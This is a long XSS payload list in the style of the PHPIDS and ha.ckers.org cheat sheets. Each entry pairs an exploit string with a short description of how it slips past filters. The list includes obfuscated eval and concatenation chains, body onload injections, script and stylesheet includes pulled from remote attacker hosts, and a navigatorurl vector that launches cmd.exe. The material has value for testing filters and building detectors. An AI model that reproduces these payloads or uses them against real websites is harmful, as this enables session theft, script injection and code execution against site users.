Exploit Name: IMG No Quotes/Semicolon
Exploit String: <IMG SRC=javascript:alert('XSS')>
Exploit Description: No quotes and no semicolon
IMG STYLE w/expression
Exploit Name: IMG STYLE w/expression
Exploit String: exp/*<XSS STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
Exploit Description: IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).
IMG w/JavaScript Directive
Exploit Name: IMG w/JavaScript Directive
Exploit Description: Image XSS using the JavaScript directive.
IMG w/VBscript
Exploit Name: IMG w/VBscript
Exploit String: <IMG SRC='vbscript:msgbox("XSS")'>
Exploit Description: VBscript in an image
INPUT Image
Exploit Name: INPUT Image
Exploit String: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Exploit Description: INPUT Image
IP Encoding
Exploit Name: IP Encoding
Exploit String: <A HREF="http://66.102.7.147/">XSS</A>
JavaScript concatenation vector variant 1
Exploit Name: JavaScript concatenation vector variant 1
Exploit String: s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1
Exploit Description: This vector concatenates a string and evaluates it via mapping on URL
Exploit Tags: general, internet explorer, concatenated, obfuscated
Author Name: PHPIDS Group
JavaScript concatenation vector variant 2
Exploit Name: JavaScript concatenation vector variant 2
Exploit String: s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;
Exploit Description: This vector concatenates a string and evaluates it via self-execution.
Exploit Tags: general, concatenated, obfuscated
JavaScript concatenation vector variant 3
Exploit Name: JavaScript concatenation vector variant 3
Exploit String: s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);
Exploit Description: This vector concatenates a string and evaluates it via usage of common DOM methods and element creation.
JavaScript concatenation vector variant 4
Exploit Name: JavaScript concatenation vector variant 4
Exploit String: s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];
Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a JSON array.
Exploit Tags: general, JSON, concatenated, obfuscated
JavaScript concatenation vector variant 5
Exploit Name: JavaScript concatenation vector variant 5
Exploit String: s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];
JavaScript concatenation vector variant 6
Exploit Name: JavaScript concatenation vector variant 6
Exploit String: s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;
Exploit Description: This vector concatenates a string and evaluates it via filling the URL property with payload concatenated in a string via ternary operators.
JavaScript concatenation vector variant 7
Exploit Name: JavaScript concatenation vector variant 7
Exploit String: s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';
Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a regular string via ternary operators.
JavaScript Includes
Exploit Name: JavaScript Includes
Exploit String: <BR SIZE="&{alert('XSS')}">
Exploit Description: &JavaScript includes (works in Netscape 4.x).
JavaScript Link Location
Exploit Name: JavaScript Link Location
Exploit String: <A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed)
JavaScript link location
Exploit Tags: general, evil tags, obfuscated, redirect
JavaScript-breaker using carriage return
Exploit Name: JavaScript-breaker using carriage return
Exploit String: %0da=eval;b=alert;a(b(/d/.source));
Exploit Description: This vector uses an urlencoded carriage return to break JS code and produce an alert afterwards.
JS link with whitespace obfuscation
Exploit Name: JS link with whitespace obfuscation
Exploit String: <a href = "javas cript :ale rt(1)">test
Exploit Description: This vector utilizes whitespace to obfuscate and contains a JS link.
JS string concatenation breaker
Exploit Name: JS string concatenation breaker
Exploit String: +alert(0)+
Exploit Description: This can be used when input is concatenated in JavaScript.
JSON based obfuscated onload vector
Exploit Name: JSON based obfuscated onload vector
Exploit String: <body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;;
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. JSON parenthesis and semicolons are to evade filters.
Exploit Tags: general, evil tags, JSON, obfuscated
JSON based onload vector
Exploit Name: JSON based onload vector
Exploit String: <body onload=a1={x:this.parent.document};a1.x.writeln(1);>
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM
JSON based semicolon-onload vector
Exploit Name: JSON based semicolon-onload vector
Exploit String: <body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;;
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. Also this vector uses semicolons to obfuscate.
LAYER
Exploit Name: LAYER
Exploit String: <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
Exploit Description: Layer (Older Netscape only)
List-style-image
Exploit Name: List-style-image
Exploit String: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
Exploit Description: Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.
Livescript
Exploit Name: Livescript
Exploit String: <IMG SRC="livescript:[code]">
Exploit Description: Livescript (Older Netscape only)
Local .htc file
Exploit Name: Local .htc file
Exploit String: <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
Exploit Description: This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.
Exploit Tags: general, evil tags, internet explorer, injection
Long UTF-8 Unicode w/out Semicolons
Exploit Name: Long UTF-8 Unicode w/out Semicolons
Exploit String: <IMG SRC=javascript:alert('XSS')>
Exploit Description: Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for ”&#XX;”, since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).
Malformed IMG Tags
Exploit Name: Malformed IMG Tags
Exploit String: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
Exploit Description: Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.
Markup breaker with special quotes
Exploit Name: Markup breaker with special quotes
Exploit String: %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//
Exploit Description: This markup breaking vector utilizes specially crafted quotes to break the existing markup.
Exploit Tags: general, html breaking, JS breaking
META
Exploit Name: META
Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
Exploit Description: The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.
META w/additional URL parameter
Exploit Name: META w/additional URL parameter
Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
Exploit Description: Meta with additional URL parameter. If the target website attempts to see if the URL contains an ”http://” you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)
META w/data:URL
Exploit Name: META w/data:URL
Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
Exploit Description: This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details
Mixed Encoding
Exploit Name: Mixed Encoding
Exploit String: <A HREF="http://6	6.000146.0x7.147/">XSS</A>
The tabs and newlines only work if this is encapsulated with quotes.
Mocha
Exploit Name: Mocha
Exploit String: <IMG SRC="mocha:[code]">
Exploit Description: Mocha (Older Netscape only)
Mozilla -moz-binding-url injection
Exploit Name: Mozilla -moz-binding-url injection
Exploit String: style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="
Exploit Description: The vector incudes a binding file via injected style attrbute. Gecko only.
Exploit Tags: general, injection, gecko, style injection, XBL
Mozilla -moz-binding-url injection - filter evading
Exploit Name: Mozilla -moz-binding-url injection - filter evading
Exploit String: sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="
Exploit Description: This vector was once used on a major site to evade a stripping filter and inject binding XML.
Multiline selfcontained XSS
Exploit Name: Multiline selfcontained XSS
Exploit String: _
eval
b=1
__
location
c=1
_
.
hash
//
substr
(1)
Exploit Description: This vector uses line breaks to obfuscate and evaluates the location hash.
Exploit Tags: self contained, general, obfuscated
Multiline w/Carriage Returns
Exploit Name: Multiline w/Carriage Returns
Exploit String: <IMGSRC="javascript:alert('XSS')">
Exploit Description: Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).
Name contained XSS variant 1
Exploit Name: Name contained XSS variant 1
Exploit String: b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name
Exploit Description: This vector depends on attackers ability to access the window.name property where the payload is located.
Exploit Tags: general, name contained, obfuscated
Name contained XSS variant 2
Exploit Name: Name contained XSS variant 2
Exploit String: a=/ev///
.source a+=/al///
.source a[a] (name)
Exploit Description: This name contained XSS requires newlines to be able to work - and access to the window.name property.
Name contained XSS variant 3
Exploit Name: Name contained XSS variant 3
Exploit String: a=/ev/
.source a+=/al/
.source,a = a[a] a(name)
Exploit Description: New-lined requiring name contained vector - this time not comment obfuscated so easier to detect.
Exploit Tags: general, name contained
Name contained XSS variant 4
Exploit Name: Name contained XSS variant 4
Exploit String: setTimeout//
(name// ,0)
Exploit Description: This vector utilizes the setTimeout function to fire - also it's name contained and comment-obfuscated and requires newlines.
Exploit Tags: general, name contained, obfuscated, timed
navigatorurl: code execution
Exploit Name: navigatorurl: code execution
Exploit String: navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
Exploit Description: This navigatorurl-uri executes the cmd.exe on vulnerable systems.
No Closing Script Tag
Exploit Name: No Closing Script Tag
Exploit String: <SCRIPT SRC=http://ha.ckers.org/xss.js
Exploit Description: In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the ”></SCRIPT>” portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.
No Quotes/Semicolons
Exploit Name: No Quotes/Semicolons
Exploit String: <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
Exploit Description: No single quotes or double quotes or semicolons.
Non-Alpha/Non-Digit
Exploit Name: Non-Alpha/Non-Digit
Exploit String: <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Exploit Description: Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example ”<SCRIPT\s” != ”<SCRIPT/XSS\s”
Exploit Tags: general, evil tags, injection
Non-Alpha/Non-Digit Part 2
Exploit Name: Non-Alpha/Non-Digit Part 2
Exploit String: <BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")>
Exploit Description: Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.
Noscript-breaker with mouseover
Exploit Name: Noscript-breaker with mouseover
Exploit String: </noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
Exploit Description: This vector breaks noscript areas and appends an element reacting on mouseover events.
Exploit Tags: general, html breaking, obfuscated, user interaction
Null Chars 1
Exploit Name: Null Chars 1
Exploit String: perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
Exploit Description: Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.
Exploit Tags: general, evil tags, obfuscated, internet explorer, CRLF
Null Chars 2
Exploit Name: Null Chars 2
Exploit String: perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
Exploit Description: Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date
Exploit Tags: general, evil tags, obfuscated, CRLF
Obfuscated body onload vector
Exploit Name: Obfuscated body onload vector
Exploit String: <body onload=;;;;;;;;;;;_=alert;_(1);;;;
Exploit Description: This vector creates a new body tag and utilizes semicolons and underscores to evade filters and produce an alert.
Obfuscated DOM element creation
Exploit Name: Obfuscated DOM element creation
Exploit String: s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=
0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=
0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=pa
rentNode;x.appendChild(i);
Exploit Description: This vector utilizes ternary operators to obfuscate JavaScript code which creates new DOM elements.
Exploit Tags: general, obfuscated, injection
Obfuscated double-body onload vector
Exploit Name: Obfuscated double-body onload vector
Exploit String: <body <body onload=;;;;;al:eval('al'+'ert(1)');;>
Exploit Description: This vector creates a doubled new body tag and utilizes semicolons to evade filters and produce an alert.
Obfuscated image tag using dec entities
Exploit Name: Obfuscated image tag using dec entities
Exploit String: <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:a
le&<WBR>#114;t('XS<WBR>;S')>
Exploit Description: This attack is built together with obfuscated decimal entities and create a JS image source.
Obfuscated image tag using hex entities
Exploit Name: Obfuscated image tag using hex entities
Exploit String: <IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(
&<WBR>#x27XSS')>
Exploit Description: This attack is built together with obfuscated hexadecimal entities and create a JS image source.
Obfuscated image tag using long dec entities
Exploit Name: Obfuscated image tag using long dec entities
Exploit String: <IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:
&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')>
Exploit Description: This attack is built together with obfuscated long decimal entities and create a JS image source.
Exploit Tags: general, owasp, obfuscated, evil tags, internet explorer
Obfuscated JS image source
Exploit Name: Obfuscated JS image source
Exploit String: >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
Exploit Description: This vector uses urlencoded hex entities to obfuscate the javascript: image source.
Obfuscated name trigger for Firefox
Exploit Name: Obfuscated name trigger for Firefox
Exploit String: (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)
Exploit Description: This XSS vector uses a parser bug in Firefox to obfuscate the methods needed to trigger the name contained payload.
Exploit Tags: general, gecko, obfuscated, self contained
Obfuscated onload attribute variant 1
Exploit Name: Obfuscated onload attribute variant 1
Exploit String: <body/s/onload=x={doc:parent.document};x.doc.writeln(1)
Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is wrapped into a JSON literal to evade filters.
Exploit Tags: general, obfuscated, evil tags, JSON
Obfuscated onload attribute variant 2
Exploit Name: Obfuscated onload attribute variant 2
Exploit String: <body/””$/onload=x={doc:parent[’document’]};x.doc.writeln(1)
Obfuscated XML predicate vector variation 1
Exploit Name: Obfuscated XML predicate vector variation 1
Exploit String: 123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);
Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML tags.
Exploit Tags: general, xml predicates, obfuscated, gecko
Obfuscated XML predicate vector variation 2
Exploit Name: Obfuscated XML predicate vector variation 2
Exploit String: s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:
0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/
s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/
s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:
0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:
0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)
Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML tags. Also a concatenation via ternary operator is being used.
Obfuscated XML predicate vector variation 3
Exploit Name: Obfuscated XML predicate vector variation 3
Exploit String: o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</
s>};function f() { 0[this.x](this.y) }f.call(o);
Exploit Description: This vector uses XML predicates to obfuscate its payload. The payload is furthermore wrapped into JSON literals for more obfuscation.
Exploit Tags: general, xml predicates, obfuscated, gecko, JSON
Obfuscated XSS variant 1
Exploit Name: Obfuscated XSS variant 1
Exploit String: ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___)
Exploit Description: Shuffled and obfuscated function calls
OBJECT
Exploit Name: OBJECT
Exploit String: <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
Exploit Description: If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS
OBJECT w/Embedded XSS
Exploit Name: OBJECT w/Embedded XSS
Exploit String: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
Exploit Description: Using an OBJECT tag you can embed XSS directly (this is unverified).
OBJECT w/Flash 2
Exploit Name: OBJECT w/Flash 2
Exploit String: a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";eval(a+b+c+d);
Exploit Description: Using this action script inside flash can obfuscate your XSS vector.
Octal Encoding
Exploit Name: Octal Encoding
Exploit String: <A HREF="http://0102.0146.0007.00000223/">XSS</A>
Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...
Open string contained in name property
Exploit Name: Open string contained in name property
Exploit String: open(name)
Exploit Description: This very simple but effective vector uses the open method on the name property.
PHP
Exploit Name: PHP
Exploit String: <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
Exploit Description: PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.
Plain JavaScript alert
Exploit Name: Plain JavaScript alert
Exploit String: alert(1)
Exploit Description: This very basic exploit works on surprisingly many pages - no real danger but bad image.
Exploit Tags: general, basic, super short
Protocol Resolution Bypass
Exploit Name: Protocol Resolution Bypass
Exploit String: <A HREF="//www.google.com/">XSS</A>
Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like ”(ht|f)tp(s)?://” (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the ”//” to ”\\”. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
Protocol resolution in script tags
Exploit Name: Protocol resolution in script tags
Exploit String: <SCRIPT SRC=//ha.ckers.org/.j>
Exploit Description: This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ”.j” is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.
RegExp based, and native C filter vector.
Exploit Name: RegExp based, and native C filter vector.
Exploit String: 0%0d%0a%00<script src=//h4k.in>
Exploit Description: This will break any RegExp that includes "$" (end of string), and some filters that do the verification manually with a for waiting for a NULL byte.
Exploit Tags: general, injection, CRLF, obfuscated
Author URL: http://sirdarckcat.net/
Remote IE URL overloading
Exploit Name: Remote IE URL overloading
Exploit String: s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)
'+'';
u1=s1+s2+s3;URL=u1
Exploit Description: This vector assembles an alert which will be fired using the URL property.
Exploit Tags: general, obfuscated, internet explorer, URL breaking
Remote Stylesheet 1
Exploit Name: Remote Stylesheet 1
Exploit String: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
Exploit Description: Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.
Remote Stylesheet 2
Exploit Name: Remote Stylesheet 2
Exploit String: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
Exploit Description: Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.
Exploit Tags: general, evil tags, obfuscated, style injection
Remote Stylesheet 3
Exploit Name: Remote Stylesheet 3
Exploit String: <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
Exploit Description: Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.
Remote Stylesheet 4
Exploit Name: Remote Stylesheet 4
Exploit String: <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
Exploit Description: Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.
Exploit Tags: general, evil tags, obfuscated, style injection, XBL
Removing Cnames
Exploit Name: Removing Cnames
Exploit String: <A HREF="http://google.com/">XSS</A>
When combined with the above URL, removing ”www.” will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.
Rename .js to .jpg
Exploit Name: Rename .js to .jpg
Exploit String: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
Exploit Description: Assuming you can only fit in a few characters and it filters against ”.js” you can rename your JavaScript file to an image as an XSS vector.
res:// installed software probing
Exploit Name: res:// installed software probing
Exploit String: res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210
Exploit Description: This res-uri can be used to probe for certain software in IE.
Exploit Tags: URI exploits, injection, general, obfuscated, internet explorer
SCRIPT w/Alert()
Exploit Name: SCRIPT w/Alert()
Exploit String: <SCRIPT>alert('XSS')</SCRIPT>
Exploit Description: Basic injection attack
Exploit Tags: general, evil tags, basic
SCRIPT w/Char Code
Exploit Name: SCRIPT w/Char Code
Exploit String: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Exploit Description: Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word ”XSS” will pop up.
Exploit Tags: general, evil tags, obfuscated, basic
SCRIPT w/Source File
Exploit Name: SCRIPT w/Source File
Exploit String: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Exploit Description: No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).
Exploit Tags: general, evil tags, basic, injection
Self-contained XSS variant 1
Exploit Name: Self-contained XSS variant 1
Exploit String: a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1))
Exploit Description: Concatenates obfuscated eval() and substr() to be called on location.hash
Exploit Tags: general, self contained
Self-contained XSS variant 2
Exploit Name: Self-contained XSS variant 2
Exploit String: a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b))
Exploit Description: Concatenates fragmented functions to evakuate the location hash
Self-contained XSS variant 3
Exploit Name: Self-contained XSS variant 3
Exploit String: eval.call(this,unescape.call(this,location))
Exploit Description: Uses call() and eval() to access the payload in the fragment identifier
Self-contained XSS variant 4
Exploit Name: Self-contained XSS variant 4
Exploit String: d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b)))
Exploit Description: This one is pretty hard to detect due to the total fragmentation. Fragments are built together to a self-executing function.
Self-contained XSS variant 5
Exploit Name: Self-contained XSS variant 5
Exploit String: l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a
Exploit Description: This variant has the function fragments shuffled to evade concatenation filters and is thus very hard to detect.
Exploit Tags: general, self contained, shuffled
Self-contained XSS variant 6
Exploit Name: Self-contained XSS variant 6
Exploit String: _=eval,__=unescape,___=document.URL,_(__(___))
Exploit Description: Since Javascript allows \w+ as variable name - this vector uses _ to evade filters.
Self-contained XSS variant 7
Exploit Name: Self-contained XSS variant 7
Exploit String: $_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)
Exploit Description: Uses special characters as variable names and self-executes the concatenated payload trigger.
Self-contained XSS variant 8
Exploit Name: Self-contained XSS variant 8
Exploit String: $=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))
Exploit Description: This time $ is used to obfuscate the self-executing payload trigger.
Self-contained XSS variant 9
Exploit Name: Self-contained XSS variant 9
Exploit String: evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod)
Exploit Description: This more than sophisticated vector is hard to explain - it' creator did here: http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13409
Self-containing XSS with no dots
Exploit Name: Self-containing XSS with no dots
Exploit String: with(location)with(hash)eval(substring(1))
Exploit Description: This vector uses with() to activate the payload behind the fragment identifier. No dots are used to enable easier filter evasion.
Author Name: ma1
Spaces/Meta Chars
Exploit Name: Spaces/Meta Chars
Exploit String: <IMG SRC="  javascript:alert('XSS');">
Exploit Description: Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word ”javascript:” - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the ”javascript:” keyword. The actual reality is you can have any char from 1-32 in decimal).
SSI
Exploit Name: SSI
Exploit String: <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
Exploit Description: SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.
Exploit Tags: general, evil tags, obfuscated, SSI, injection
STYLE
Exploit Name: STYLE
Exploit String: <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
Exploit Description: STYLE tag (Older versions of Netscape only)
Exploit Tags: general, evil tags, style injection, gecko
Style injection via content and double-eval
Exploit Name: Style injection via content and double-eval
Exploit String: <style>
body:after{
content: “\61\6c\65\72\74\28\31\29″
}
</style>
<script>
eval(eval(document.styleSheets[0].cssRules[0].style.content))
Exploit Description: This vector utilizes the CSS content property and fetches it off the document.styleSheets property afterwards. For correct execution of the payload a double-eval is needed.
Exploit Tags: general, onfuscated, style injection
